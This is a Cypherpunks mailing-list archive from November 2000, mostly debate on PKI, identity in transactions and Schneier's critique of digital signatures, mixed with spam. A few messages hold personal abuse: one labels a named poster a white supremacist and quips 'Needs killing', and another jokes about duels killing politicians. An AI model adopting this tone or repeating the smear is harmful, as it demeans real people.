easy to generate and keep certificates about it, which give counterparties a nice warm feeling that they're doing something about the risks they face in a transaction. That feeling is unrelated to what's actually happening, but it does serve to lubricate the wheels of commerce. -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From egerck at nma.com Thu Nov 16 16:38:53 2000 From: egerck at nma.com (Ed Gerck) Date: Thu, 16 Nov 2000 16:38:53 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... References: <3A147378.AEF5D725@nma.com> <20001116162849.C11041@ideath.parrhesia.com> Message-ID: <3A147E1D.929C2808@nma.com> Greg Broiles wrote: > On Thu, Nov 16, 2000 at 03:53:28PM -0800, Ed Gerck wrote: > > > http://www.anu.edu.au/people/Roger.Clarke/II/PKIMisFit.html > > > > > > Public Key Infrastructure: An Artifact Ill-Fitted to the Needs of the > > > Information Society > > > > > > Abstract > > > > > > It has been conventional wisdom that, for e-commerce to fulfill its > > > potential, each party to a transaction must be confident in the identity of > > > the others. > > > > This is the law for commerce, except for cash transactions of non-controlled > > goods. Firearm sales usually require proof of identity (at least) even for a > > cash transaction. > > That's a matter of state law - Federal law doesn't (yet) regulate firearm > transactions between two residents of the same state where neither is > licensed federally as a firearms dealer, so long as the firearms themselves > aren't specially controlled (like Class 3 full-auto weapons, or short- > barreled rifles/shotguns, etc). That is why I wote "usually" -- it may vary. > Nevertheless, the main point above is wrong, too - commercial law certainly > does NOT require parties to be confident about the identity of counterparties. So, you think that credit-cards deals would not need names or any real-life id, just assets? Surely, the merchant gets paid regardless, even if you use a false name. But this is not the end of id fraud. The bank still goes after the money...and uses the law against fraudulent practices to enforce the cardholder agreement, or criminal statues. If Mr. X uses his wife's credit-card, Mr. X is technically committing id fraud, and wire-fraud. Of course it works most of the time... But when it does not, and someone comes enforcing, someone will ask, did you Mr X, uses Mrs X's credit-card, and represent yourself thereby as Mrs X? Cheers, Ed Gerck From bela400 at lycos.com Thu Nov 16 16:46:46 2000 From: bela400 at lycos.com (bela nagy) Date: Thu, 16 Nov 2000 16:46:46 -0800 Subject: CDR: myCyberstore.com Message-ID: <20001116214904.PNQS18376.tomts5-srv.bellnexxia.net@yahoo.com> Web and Graphics Design by mycyberstore.com. If you're looking for a simple, affordable means of getting your business materials designed or published on the Internet, we have the answer. We operate with very minimum overhead to ensure that our final products are very affordable. www.mycyberstore.com is operated by a team of young talented graphics professionals located in Toronto, Canada. We are operating a legitimate business and we are interested in establishing a long-term mutually beneficial relationship. Are you mad at your boss? Send me your story!! www.mybossisdumb.com This is a one time mailing operation, there is no need to reply. I am very sorry if my email made you angry. I am like you, I also receive a lot of unsolicited emails. (really) This entire message is sent in compliance of the new e-mail bill: SECTION 301. Per Section 301, Paragraph (a)(2)(C) of S. 1618. Further transmissions to you by the sender of this email may be stopped at no cost to you by sending a reply to belanagy at yahoo.con with the word "remove" in the subject line. From George at Orwellian.Org Thu Nov 16 14:12:29 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Thu, 16 Nov 2000 17:12:29 -0500 (EST) Subject: CDR: Re: hey ummm... Message-ID: <200011162212.RAA13997@www7.aa.psiweb.com> sunder # JONCON88 at aol.com wrote: # > # > how do you make a stink bomb? # # Pull your head out of your ass and smell yourself. No no no. Think about these words of wise pondering by Beavis and Butthead: "Why don't boogers smell?" From George at Orwellian.Org Thu Nov 16 14:21:44 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Thu, 16 Nov 2000 17:21:44 -0500 (EST) Subject: CDR: Re: Aces high Message-ID: <200011162221.RAA27599@www0.aa.psiweb.com> White Supremacist Tim "I'd like to see a race riot" May Moroned: # Even if meant in jest, as a comment on the situation, # it undermines the basic issue of law. Like, "Needs killing." From egerck at nma.com Thu Nov 16 18:29:25 2000 From: egerck at nma.com (Ed Gerck) Date: Thu, 16 Nov 2000 18:29:25 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... References: Message-ID: <3A149805.C796DE45@nma.com> Mac Norton wrote: > Of course not. Unilateral offers can be made to a defined class > of persons and accepted by action thereon. An old principle, but > valid still. Yes but the problem faced by e-commerce is what happens when it fails. So, while I agree with you that it is not true that "for e-commerce to fulfill its potential each party to a transaction must be confident in the identity of the others", the practice in e-commerce is that security is based on breaking your privacy! And this is not only in terms of credit checks but also in covert background checks teaming up with law enforcement (as candidly admitted by eBay management in a meeting in DC some months ago). Cheers, Ed Gerck > MacN > > On Thu, 16 Nov 2000, Greg Broiles wrote: > > > > > > > > It has been conventional wisdom that, for e-commerce to fulfill its > > > > potential, each party to a transaction must be confident in the identity of > > > > the others. > > > From gbroiles at netbox.com Thu Nov 16 19:01:24 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 16 Nov 2000 19:01:24 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: ; from mnorton@cavern.uark.edu on Thu, Nov 16, 2000 at 08:11:25PM -0600 References: <20001116162849.C11041@ideath.parrhesia.com> Message-ID: <20001116190123.D11041@ideath.parrhesia.com> On Thu, Nov 16, 2000 at 08:11:25PM -0600, Mac Norton wrote: > > Of course not. Unilateral offers can be made to a defined class > of persons and accepted by action thereon. An old principle, but > valid still. > MacN > > On Thu, 16 Nov 2000, Greg Broiles wrote: > > > > > > > > It has been conventional wisdom that, for e-commerce to fulfill its > > > > potential, each party to a transaction must be confident in the identity of > > > > the others. The quoted text isn't mine - but, to further expand on Mac's comments, it's not even necessary that the offeror's identity be clear to potential acceptors. It's quite likely that many people and organizations are wrong about the assumptions they make about identity - you may think you've bought fast-food from McTacoKing, but it turns you you purchased food from an out-of-state corporation that's a franchisee of another out-of-a-different-state corporation who licenses out their recipes and trademarks to different people. This ambiguity may go both directions - the local McTacoKing may purchase services (like, say, carpet cleaning, or drain cleaning) from yet another locally-held but distantly-registered corporation who's just a franchisee/licensee of widely-recognized trademarks in those fields. It's easy to be sloppy and say that transaction represents a contract between McTacoKing and DrainSuckers - but that's not true at all. It's rare for people to even bother asking about niceties like business form (corporation vs. LLC vs. partnership vs. whatever), much less actually bother to figure out whether what's represented is really true - nobody bothers to call the Secretary of State and ask if the business called "X, Inc." really is a corporation, really is registered, really does have officers, etc., until people start using the words "million" or "billion". Trillions of dollars in small transactions take place without any attention at all paid to identity, in a legally significant sense - people do pay attention to trademarks, but those have only a slight relationship to the legal entitites involved. Even moderately sized-organizations find it useful to divide their operations into a number of legal entities, which may have common owners or have parent/subsidiary relationships - but invariably they hide that complexity behind a nice shiny trademark, because it's just distracting for people to think that "barnesandnoble.com" isn't really the same company as the people who run the bookstore down the street - or that the UPS who ships the books that the online entity sells you isn't the same UPS who sells the online entity the insurance on the safe delivery of that package. It's distracting to think that the entity which places a taxicab company ad in the yellow pages (which have the same logo as the local phone company, but are actually a separate corporation) isn't paid for by the corporation which owns the taxi which drives customers around, which isn't the same as the person who's driving, and may not even be the same company as the one which holds the taxi medallion. And who wants to think about the (lack of) identity between different banks and insurance companies who operate under the same trademarks and in the same office space? If you've got a savings account in a Bank of America branch in California and a checking account in a Bank of America branch in Oregon and a mutual fund account in a Bank of America branch in Oregon, how many different entities have you opened accounts with? 1? Bzzt! 3, or at least that was true before Congress clobbered the Glass-Stegall Act last year. Does that bother the people who cheerfully issue domain names and X.509 certs to various of these different entities? Nope. Does it bother consumers? Nope. Nobody cares, just like nobody cares that individual identities are pretty fluid, too, given that one name can be reused across many different meat things, and a single meat thing may, perfectly legally, use a number of different identies. The relationship between meat-world entities (including their cousins, the entities created by registration with governments or by mutual agreement of participants) and text strings like "John Smith" or "Bill Clinton" or "Bank of America" is not one-to-one but many-to-many, and that's not going to change. The legal system is accustomed to this ambiguity, and deals with it as necessary. Efforts to "fix" this and force people or corporations to identify in some enforceable way the underlying legal entities involved in a transaction are doomed to failure. The flexibility inherent in the ambiguity is important to getting things done - it's not a bug, it's a feature. -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From apoio at giganetstore.com Thu Nov 16 11:03:06 2000 From: apoio at giganetstore.com (apoio at giganetstore.com) Date: Thu, 16 Nov 2000 19:03:06 -0000 Subject: CDR: =?iso-8859-1?Q?Os_Nossos_Pr=E9_-_Lan=E7amentos?= Message-ID: <0290107031910b0WWWNETSTORE@wwwnetstore> Para retirar o seu email desta mailing list deverá entrar no nosso site http://www.giganetstore.com , ir à edição do seu registo e retirar a opção de receber informação acerca das nossas promoções e novos serviços. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1793 bytes Desc: not available URL: From gbroiles at netbox.com Thu Nov 16 19:23:20 2000 From: gbroiles at netbox.com (Greg Broiles) Date: Thu, 16 Nov 2000 19:23:20 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <3A147E1D.929C2808@nma.com>; from egerck@nma.com on Thu, Nov 16, 2000 at 04:38:53PM -0800 References: <3A147378.AEF5D725@nma.com> <20001116162849.C11041@ideath.parrhesia.com> <3A147E1D.929C2808@nma.com> Message-ID: <20001116192320.E11041@ideath.parrhesia.com> On Thu, Nov 16, 2000 at 04:38:53PM -0800, Ed Gerck wrote: > So, you think that credit-cards deals would not need names or any real-life id, just assets? I've never had to show ID to get a credit card; I also have two credit cards under names (mildly) different from that on my birth certificate. The issuers don't seem to care. Store clerks very rarely ask for ID, and they don't seem bothered by the minor discrepancy in textual form of my name(s), much less the possibility that there may be many other meat-things using the same text string as their identifier. (My name isn't that common, but there's at least one other person in California with it; people with more common names must run into this a lot more often.) I haven't done this myself, but I gather that it's really easy to get "the system" to adopt a wildly different last name than the one on your birth certificate, merely by mentioning that you've been married. It seems to be customary for some people (frequently women, but not exclusively) to adopt a different name at that time; nobody bats an eye about this. I'm aware of one person who's got at least 4 very different names which she uses in different social settings - one's the name she was born with, another is a name she assumed after one marriage, another is a name she assumed after another marriage, and the fourth is a combination of some of the above names. She doesn't have ID for all of those names - just uses the one that seems appropriate to the circumstances. > > Surely, the merchant gets paid regardless, even if you use a false name. But this is not the > end of id fraud. The bank still goes after the money...and uses the law against fraudulent > practices to enforce the cardholder agreement, or criminal statues. If Mr. X uses his wife's > credit-card, Mr. X is technically committing id fraud, and wire-fraud. Of course it works most > of the time... But when it does not, and someone comes enforcing, someone will ask, did you > Mr X, uses Mrs X's credit-card, and represent yourself thereby as Mrs X? I'm not at all ready to accept your "id fraud" or "wire fraud" arguments - depending on the fact situation, maybe, but it sounds more like a variation on unauthorized use of another's credit card .. a charge which hinges on the *unauthorized* use, not on the difference in identities. It's not fraud at all for person X to use person Y's credit card, so long as person X has permission/authority, and doesn't misrepresent the transaction to third parties. Besides, that's got nothing to do with the different parties getting paid - on the outside, maybe the credit card company can recover some restitution from a fraudulent user in sentencing after a criminal conviction. The parties in the criminal action are the government and the accused, however, not the credit card company nor the merchant, so I still think that the identity of the parties does not turn out to be crucial to successful completion of the transaction. Plenty of people skip out on debts where there's no (extra) ambiguity about identity - and plenty of other people pay debts or fulfull obligations which are apparently not strictly speaking theirs, but those of a closely related entity. Most of the time, most people "do the right thing", and when they don't, the problem isn't likely to be one that's solvable with more intrusive "identity" practices on the part of one or the other of the counterparties. (Ed, I think this is your point about how most e-commerce "security" depends on a violation of privacy.) The "identity" bugaboo plugs straight into the "then you go to court and someone goes to jail" protocol debunked famously by Doug Barnes some years ago - I don't know if his discussion of that is still online, but it boils down to the insight that courts and litigation aren't very useful in a commercial context; it's faster and cheaper to either avoid bad trades proactively, or abandon them quickly in favor of other, good trades, and not cry over spilt milk. (And that runs straight into game theory and the Prisoners' Dilemma and the slow-moving background discussion/argument between Bob Hettinga who sometimes seems to be saying that anonymity is cheaper than not, and Wei Dai, who says the opposite.) -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From anonymous at openpgp.net Thu Nov 16 16:52:01 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Thu, 16 Nov 2000 19:52:01 -0500 Subject: CDR: ED being clueful re .kids Message-ID: Board members generally agreed to avoid controlling content and rejected .kids for children and .health for prescreened health information. "I dont think this is something ICANN should be promising in the first place, and second we would be promising more than we could deliver," Dyson said of .kids. http://www.washingtonpost.com/wp-srv/aponline/20001116/aponline175501_000.htm So, who gets crypto.biz? From rah at shipwright.com Thu Nov 16 16:57:17 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Thu, 16 Nov 2000 19:57:17 -0500 Subject: CDR: Re: Schneier: When is a Signature not a Signature? When it's a chad. In-Reply-To: <20001116201036.A11055@cluebot.com> References: <20001116201036.A11055@cluebot.com> Message-ID: At 8:10 PM -0500 on 11/16/00, Declan McCullagh wrote: > pth at ibuc.com? :-). That default reply-to line, and me forgetting one of my own, in my manual "message blinding", will get you every time. If you can't guess who it is, already, you probably will know sooner or later without any help from me. Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From declan at well.com Thu Nov 16 17:10:36 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 16 Nov 2000 20:10:36 -0500 Subject: CDR: Re: Schneier: When is a Signature not a Signature? When it's a chad. In-Reply-To: ; from rah@shipwright.com on Thu, Nov 16, 2000 at 01:37:37PM -0500 References: Message-ID: <20001116201036.A11055@cluebot.com> pth at ibuc.com? On Thu, Nov 16, 2000 at 01:37:37PM -0500, R. A. Hettinga wrote: > > --- begin forwarded text > > > Date: Thu, 16 Nov 2000 10:09:43 -0800 > From: Somebody > Reply-To: pth at ibuc.com > To: "R. A. Hettinga" > Subject: Re: Schneier: When is a Signature not a Signature? When it's a chad. > > Bruce falls into the same error he points out: attempting > to devine intent rigorously. In fact there lots of ways > humans have agreed to evidence agreement, and none of > them are tamper proof. Much of the corporate > world runs on electronically printed signatures for checks, > there is a long and illustreous history of signet rings and > carved chops being used as contractual evidence... His > argument is equivalent to saying that we should not accept > a corporate check because the computer room could > have been hacked, or that King X should not accept the > seal of King Y because his nemesis might have snuck in > at night and borrowed it from his finger while he slept, > or that Wu-san's chop had been copied by an expert > carver. (and I'm certain such events have in fact occurred.) > > I think his only valid point is that digital signatures are > not somehow better. What they do provide are > 1) an interesting possibility for _remote_ contracting, and > 2) a way for computing machinery to do things analogous > to humans contracting with each other. > Both of these are important and will likely yield lots of > exciting new applications. > > Bruce should keep in mind that the Digital Signature Law > recently enacted basically says that no signature will be > deemed invalid _purely_ because it is electronic in nature. > It doesn't say that computation of m^e mod n constitutes > Alice's intent to sign. It does say that if Alice and Bob > agree to use such a digital mechanism to evidence intent, > then they may. > > And just as we are learning this week that a "vote" is > a more ambiguous concept than we may have intuitively > thought, a "signature" has _never_ been a black-and-white > expression of human intent, simply one piece of evidence > in a sometimes cluttered, occasionally fraudulent, and > always contestable world. > > "R. A. Hettinga" wrote: > > > At 5:58 PM -0600 on 11/15/00, Bruce Schneier wrote: > > > > > Why Digital Signatures Are Not Signatures > > > > > > > > > > > > When first invented in the 1970s, digital signatures made an amazing > > > promise: better than a handwritten signature -- unforgeable and uncopyable > > > -- on a document. Today, they are a fundamental component of business in > > > cyberspace. And numerous laws, state and now federal, have codified > > > digital signatures into law. > > > > > > These laws are a mistake. Digital signatures are not signatures, and they > > > can't fulfill their promise. Understanding why requires understanding how > > > they work. > > > > > > The math is complex, but the mechanics are simple. Alice knows a secret, > > > called a private key. When she wants to "sign" a document (or a message, > > > or any bucket of bits), she performs a mathematical calculation using the > > > document and her private key; then she appends the results of that > > > calculation -- called the "signature" -- to the document. Anyone can > > > "verify" the signature by performing a different calculation with the > > > message and Alice's public key, which is publicly available. If the > > > verification calculation checks out then Alice must have signed the > > > document, because only she knows her own private key. > > > > > > Mathematically, it works beautifully. Semantically, it fails > > > miserably. There's nothing in the description above that constitutes > > > signing. In fact, calling whatever Alice creates a "digital signature" was > > > probably the most unfortunate nomenclature mistake in the history of > > > cryptography. > > > > > > In law, a signature serves to indicate agreement to, or at least > > > acknowledgment of, the document signed. When a judge sees a paper document > > > signed by Alice, he knows that Alice held the document in her hands, and > > > has reason to believe that Alice read and agreed to the words on the > > > document. The signature provides evidence of Alice's intentions. (This is > > > a simplification. With a few exceptions, you can't take a signed document > > > into court and argue that Alice signed it. You have to get Alice to > > > testify that she signed it, or bring handwriting experts in and then it's > > > your word against hers. That's why notarized signatures are used in many > > > circumstances.) > > > > > > When the same judge sees a digital signature, he doesn't know anything > > > about Alice's intentions. He doesn't know if Alice agreed to the document, > > > or even if she ever saw it. > > > > > > The problem is that while a digital signature authenticates the document up > > > to the point of the signing computer, it doesn't authenticate the link > > > between that computer and Alice. This is a subtle point. For years, I > > > would explain the mathematics of digital signatures with sentences like: > > > "The signer computes a digital signature of message m by computing m^e mod > > > n." This is complete nonsense. I have digitally signed thousands of > > > electronic documents, and I have never computed m^e mod n in my entire > > > life. My computer makes that calculation. I am not signing anything; my > > > computer is. > > > > > > PGP is a good example. This e-mail security program lets me digitally sign > > > my messages. The user interface is simple: when I want to sign a message I > > > select the appropriate menu item, enter my passphrase into a dialog box, > > > and click "OK." The program decrypts the private key with the passphrase, > > > and then calculates the digital signature and appends it to my > > > e-mail. Whether I like it or not, it is a complete article of faith on my > > > part that PGP calculates a valid digital signature. It is an article of > > > faith that PGP signs the message I intend it to. It is an article of faith > > > that PGP doesn't ship a copy of my private key to someone else, who can > > > then sign whatever he wants in my name. > > > > > > I don't mean to malign PGP. It's a good program, and if it is working > > > properly it will indeed sign what I intended to sign. But someone could > > > easily write a rogue version of the program that displays one message on > > > the screen and signs another. Someone could write a Back Orifice plug-in > > > that captures my private key and signs documents without my consent or > > > knowledge. We've already seen one computer virus that attempts to steal > > > PGP private keys; nastier variants are certainly possible. > > > > > > The mathematics of cryptography, no matter how strong, cannot bridge the > > > gap between me and my computer. Because the computer is not trusted, I > > > cannot rely on it to show me what it is doing or do what I tell it > > > to. Checking the calculation afterwards doesn't help; the untrusted > > > computer can't be relied upon to check the calculations properly. It > > > wouldn't help to verify the code, because the untrusted computer is running > > > the code (and probably doing the verification). It wouldn't even help to > > > store the digital signature key in a secure module: the module still has to > > > rely on the untrusted computer for input and output. > > > > > > None of this bodes well for digital signatures. Imagine Alice in court, > > > answering questions about a document she signed. "I never saw it," she > > > says. "Yes, the mathematics does prove that my private key signed the > > > document, but I never saw it." And then an expert witness like myself is > > > called to the stand, who explains to the judge that it is possible that > > > Alice never saw the document, that programs can be written to sign > > > documents without Alice's knowledge, and that Alice's digital signature > > > doesn't really mean anything about Alice's intentions. > > > > > > Solving this problem requires a trusted signing computer. If Alice had a > > > small hand-held computer, with its own screen and keyboard, she could view > > > documents on that screen and sign them with that keyboard. As long as the > > > signing computer is trusted, her signatures are trusted. (But problems > > > remain. Viewing a Microsoft Word document, for example, generally involves > > > the very software most responsible for welcoming a virus into the > > > computer.) In this case we're no longer relying on the mathematics for > > > security, but instead the hardware and software security of that trusted > > > computer. > > > > > > This is not to say that digital signatures are useless. There are many > > > instances where the insecurities discussed here are not relevant, or where > > > the dollar value of the signatures is small enough not to warrant worrying > > > about them. There are also instances where authenticating to the signing > > > computer is good enough, and where no further authentication is > > > required. And there are instances where real-world relationships can > > > obviate the legal requirements that digital signatures have been asked to > > > satisfy. > > > > > > Digital signatures prove, mathematically, that a secret value known as the > > > private key was present in a computer at the time Alice's signature was > > > calculated. It is a small step from that to assume that Alice entered that > > > key into the computer at the time of signing. But it is a much larger step > > > to assume that Alice intended a particular document to be signed. And > > > without a tamperproof computer trusted by Alice, you can expect "digital > > > signature experts" to show up in court contesting a lot of digital > > >signatures. > > > > > > Comments on the new federal digital signature law: > > > > > > (multipage, don't miss the others) > > > > > > > > > > > > > > > A survey of laws in various states and countries: > > > > > > > -- > > ----------------- > > R. A. Hettinga > > The Internet Bearer Underwriting Corporation > > 44 Farquhar Street, Boston, MA 02131 USA > > "... however it may deserve respect for its usefulness and antiquity, > > [predicting the end of the world] has not been found agreeable to > > experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' > > --- end forwarded text > > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > "... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' > From mnorton at cavern.uark.edu Thu Nov 16 18:11:25 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Thu, 16 Nov 2000 20:11:25 -0600 (CST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <20001116162849.C11041@ideath.parrhesia.com> Message-ID: Of course not. Unilateral offers can be made to a defined class of persons and accepted by action thereon. An old principle, but valid still. MacN On Thu, 16 Nov 2000, Greg Broiles wrote: > > > > > > It has been conventional wisdom that, for e-commerce to fulfill its > > > potential, each party to a transaction must be confident in the identity of > > > the others. > > From ravage at einstein.ssz.com Thu Nov 16 18:47:10 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Thu, 16 Nov 2000 20:47:10 -0600 (CST) Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: <200011162251.OAA18914@cyberpass.net> Message-ID: On Thu, 16 Nov 2000 obfuscation at beta.freedom.net wrote: > Keep in mind that the recent E-Sign bill is not about digital signatures. > It's about electronic signatures. A very good point that is vastly under-reported. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From honig at sprynet.com Thu Nov 16 17:56:11 2000 From: honig at sprynet.com (David Honig) Date: Thu, 16 Nov 2000 20:56:11 -0500 Subject: CDR: Re: Aces high In-Reply-To: References: <3.0.6.32.20001116093511.007d5100@pop.sprynet.com> Message-ID: <3.0.6.32.20001116171536.007aa210@pop.sprynet.com> At 01:39 PM 11/16/00 -0500, Tim May wrote: >At 12:42 PM -0500 11/16/00, David Honig wrote: >>At 04:36 AM 11/16/00 -0500, Bill Stewart wrote: >>> >>>A good tomato throwing fight _would_ be a pretty appropriate >>>way to resolve this election. You can vote early and often... >> > >> >>Its a shame duelling is passe. >> > >It's sad to see so many otherwise-careful people calling for "flips >of a coin," "hands of poker," and "duels at sunrise." > >Even if meant in jest, as a comment on the situation, it undermines >the basic issue of law. It was not an endorsement of anything. In a duel, at least you reduce the number of politicians by half. Even fair and lawful elections doesn't do that. From honig at sprynet.com Thu Nov 16 17:56:12 2000 From: honig at sprynet.com (David Honig) Date: Thu, 16 Nov 2000 20:56:12 -0500 Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was In-Reply-To: References: <200011161610.LAA30123@blount.mail.mindspring.net> Message-ID: <3.0.6.32.20001116175218.007a7ba0@pop.sprynet.com> Herr Bear's two paragraphs below are among of the most clear, concrete explanations of 'why security is hard/ crypto is insufficient' that I've read. Clear to a programmer, anyway. But still, I think that the vast majority of users will end up trusting something, and the vast majority will be well secured. Most do not, for example, worry about black-bag jobs. How many hardcore cpunks have reverse engineered the source to the security apps they actually use? PGPDisk *and* PGPfone *and* PGP version whatever? With time left over for SSL? And you do regular RF sweeps too? Do you work on your own brakes, too? Maybe some need to, and they recognize this. Most don't, and recognize this. The ones who need it but don't see it get culled. The ones who don't need it but see it are paranoid, or cautious, depending. Finally, things will get deployed (and paid for) only when there's some utility to the deployees. Either AMEX is going to pay for all these cards & readers because its worth it to AMEX, or Homer & vendors are going to pay because its worth it to them. With the current $50 credit card fraud limit on the customers' side, and the generally reliable POTS dial up to the credit card folks on the vendors', there is little motivation to change... no matter how efficient (cheap) or convenient the future might be if we were to start now. [I am reminded of the following: California mandates (suppressing the "needs killing" remarks for now) electric car sales, but drivers won't buy them. Rational drivers will buy (initially) more expensive but efficient hybrids if and only if (when) the price of petrol goes up enough to make it worthwhile. Ergo, If people were responsible for much more fraud-debt, they might accept / pay for / require more secure tech. Economics is physics. These are testable hypotheses; look to expensive-petrol places (Euro) to buy into high-milage hybrids faster, and 12-cylinder Caddys to be cruising the oil-rich nations until they're dry] You can get people to carry metal things around *all the time*, and you can sell them things to stick the metal things into, if they see a benefit ---like someone not stealing their padlocked objects. $50 of fraud, inertia/protectionism, and a general lack of use/concern for anonymity means Hettinga's Stored Value Smartcard-Requiring Utopia (tm) is a few years off. ..... I wonder if Gutenberg had to put up with: "But why print so many books? Almost everyone can't read" ...... At 01:49 PM 11/16/00 -0500, Ray Dillinger wrote: >Which mostly consists of pointing out flaws and problems with >things other than the encryption/decryption algorithms in use: >Bits of it are definitely worth a read between auditing routines >in your code. (oh yeah, I have 64 bits of key in this local >variable, and I'm exiting the routine: better remember to write >over them so whatever grabs the memory next can't read them.... >and while I'm at it, I better declare that 'volatile' so the >system can't swap it to disk...) > >This stuff is why you can't just plug libraries together and >have a good crypto product; A 'math library' made for crypto >has to do fundamental things to prevent other applications >getting their hands on 'numbers' that a math library for general >application does not have to do. Ditto a windowing or GUI system >made for crypto, etc. All these slap-together GUI programs >made with MFC etc that we're seeing, are a completely wrong >approach for cryptographic software; you can't make that stuff >secure, you have to write your own. And this is what Schneier >has been pointing out. And thank goodness somebody's been >pointing it out. > From afroconnection2 at emailfactory.net Thu Nov 16 19:00:47 2000 From: afroconnection2 at emailfactory.net (afroconnection2 at emailfactory.net) Date: Thu, 16 Nov 2000 21:00:47 -0600 Subject: CDR: Join Afroconnections Today! Message-ID: <200011170300.VAQ10269@ice.newc.com> ************************************************************************ Instructions for removal is at the bottom of this message. If you have any questions regarding this e-mail, please send them to emailto:info at afroconnections.com. If you hit reply , you will automatically be removed from this list. ************************************************************************ Dear Friend, We are AfroConnections.com - leaders in providing African Americans with the best way to meet each other for the purposes of friendship, dating or joint activities. Come and join tens of thousands of members who have already connected. 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Name: not available Type: text/html Size: 2736 bytes Desc: not available URL: From honig at sprynet.com Thu Nov 16 18:34:20 2000 From: honig at sprynet.com (David Honig) Date: Thu, 16 Nov 2000 21:34:20 -0500 Subject: CDR: Re: identity-as-bits vs. identity-as-meat In-Reply-To: References: <200011161610.LAA30123@blount.mail.mindspring.net> Message-ID: <3.0.6.32.20001116182242.007c6c00@pop.sprynet.com> At 03:11 PM 11/16/00 -0500, Ray Dillinger wrote: Alice's person may be a different >person this time, but only if Alice's last person was stupid or >careless. This is the core: if you leave your housekeys with your address in a public place, expect to get burgled. Joesixpack humans will and can (mostly) secure physical objects where the motivations are right, ie, they lose if out of their control. From ravage at ssz.com Thu Nov 16 19:41:46 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 16 Nov 2000 21:41:46 -0600 (CST) Subject: CDR: Re: Public Key Infrastructure: An Artifact... In-Reply-To: <20001116190123.D11041@ideath.parrhesia.com> Message-ID: On Thu, 16 Nov 2000, Greg Broiles wrote: > The quoted text isn't mine - but, to further expand on Mac's comments, > it's not even necessary that the offeror's identity be clear to potential > acceptors. The reality is that, other than for emotional reasons, there is no real requirement that the purchaser and the provider have any relationship other than anonymous. The real problem is in guaranteeing to all parties that the binding between the key and the 'owner' be absolutely air tight. Unfortunately this is the one aspect that has received the least attention. It is the primary problem with key management other than scaling. If the relation between owner and key is not strictly secure then problems arise. Face to face (so much for anonymity to a third party) and trusted intermediaries (which opens up traffic analysis and rubber hose attacks) are clearly not sufficient. This is the reason I say the PGP style web-of-trust is not effective. How do you anonymously guarantee the binding between the two parties and their respective keys, while remaining anonymous? Is it a requirement that one or more parties have access to the (public) keys? ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From ravage at einstein.ssz.com Thu Nov 16 19:42:48 2000 From: ravage at einstein.ssz.com (Jim Choate) Date: Thu, 16 Nov 2000 21:42:48 -0600 (CST) Subject: CDR: What got censored today... (fwd) Message-ID: ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- ---------- Forwarded message ---------- Date: Thu, 16 Nov 2000 19:27:13 -0800 From: Simon Higgs Reply-To: orange at dns.list To: orange at dns.list Subject: What got censored today... http://cyber.law.harvard.edu/scripts/rammaker.asp?s=cyber&dir=icann&file=icann-111600&start=0-09-04 Starts at 2:18:20 Lasts about five seconds before Mr Anal-Retentive-Bald-Video-Guy censors it. From ant at notatla.demon.co.uk Thu Nov 16 14:41:51 2000 From: ant at notatla.demon.co.uk (Antonomasia) Date: Thu, 16 Nov 2000 22:41:51 GMT Subject: Public Key Infrastructure: An Artifact... Message-ID: <200011162241.WAA02890@notatla.demon.co.uk> From: Bram Cohen > In the vast majority of cases, preventing man in the middle attacks is a > waste of time. Half the money I spend on advertising is wasted; the trouble is, I don't know which half." Lord Leverhulme (or John Wanamaker, or Henry Ford). -- ############################################################## # Antonomasia ant at notatla.demon.co.uk # # See http://www.notatla.demon.co.uk/ # ############################################################## From declan at well.com Thu Nov 16 20:38:18 2000 From: declan at well.com (Declan McCullagh) Date: Thu, 16 Nov 2000 23:38:18 -0500 Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was In-Reply-To: <3.0.6.32.20001116175218.007a7ba0@pop.sprynet.com>; from honig@sprynet.com on Thu, Nov 16, 2000 at 08:56:12PM -0500 References: <200011161610.LAA30123@blount.mail.mindspring.net> <3.0.6.32.20001116175218.007a7ba0@pop.sprynet.com> Message-ID: 